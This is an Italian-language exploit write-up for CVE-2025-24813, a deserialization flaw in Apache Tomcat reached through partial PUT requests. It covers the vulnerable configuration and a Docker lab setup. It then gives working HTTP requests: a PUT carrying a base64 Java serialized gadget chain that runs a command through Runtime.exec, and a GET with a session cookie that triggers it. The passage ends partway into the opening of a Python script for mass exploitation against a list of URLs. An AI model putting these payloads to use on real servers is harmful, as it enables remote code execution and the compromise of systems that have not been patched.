CVE-2025-24813

Condizioni di sfruttamento

• Scrittura DefaultServlet abilitata: è necessario impostare readonly=false in web.xml
• Supporto delle richieste PUT parziali: Tomcat supporta il caricamento a blocchi per impostazione predefinita
• Persistenza delle sessioni su file abilitata: è necessario configurare PersistentManager e FileStore in context.xml
• Presenza di una catena di sfruttamento per deserializzazione: il classpath deve includere una libreria vulnerabile

Versioni interessate

• 9.0.0.M1 <= Apache Tomcat <= 9.0.98
• 10.1.0-M1 <= Apache Tomcat <= 10.1.34
• 11.0.0-M1 <= Apache Tomcat <= 11.0.2

Difficoltà di sfruttamento

• Complessa
• Severa

Configurazione dell'ambiente

Scaricare la versione vulnerabile

https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/9.0.98/

Configurazione manuale

1. È necessario impostare readonly di DefaultServlet su false in conf/web.xml per abilitare la funzione di scrittura

<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
</init-param>

2. È necessario abilitare il salvataggio delle sessioni su file in conf/context.xml

<Manager className="org.apache.catalina.session.PersistentManager">
    <Store className="org.apache.catalina.session.FileStore"/>
</Manager>

version: '3.8'
services:
  tomcat:
    image: tomcat:9.0.8-jre8-slim
    container_name: CVE-2025-24813  # Specifica il nome del contenitore
    volumes:
      # Monta e sostituisce web.xml
      - ./web.xml:/usr/local/tomcat/conf/web.xml
      # Monta e sostituisce context.xml
      - ./context.xml:/usr/local/tomcat/conf/context.xml
      # Aggiunge il file JAR alla directory lib
      # 
      - ./commons-collections-3.2.1.jar:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar
    ports:
      - "8080:8080"

Avvio dell'ambiente

docker-compose up -d

Catene di sfruttamento

cck1

cc10

PUT /pocss/session HTTP/1.1
Host: 192.168.223.132:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200

{{base64dec(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)}}

GET / HTTP/1.1
Host: 192.168.223.132:8080
Cookie: JSESSIONID=.pocss

Sfruttamento batch (EXP)

import base64
import requests
import sys
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def main():
    # Ottiene il parametro del percorso del file
    url_file = sys.argv[1] if len(sys.argv) > 1 else 'url.txt'
    payload_file = sys.argv[2] if len(sys.argv) > 2 else 'payload.ser'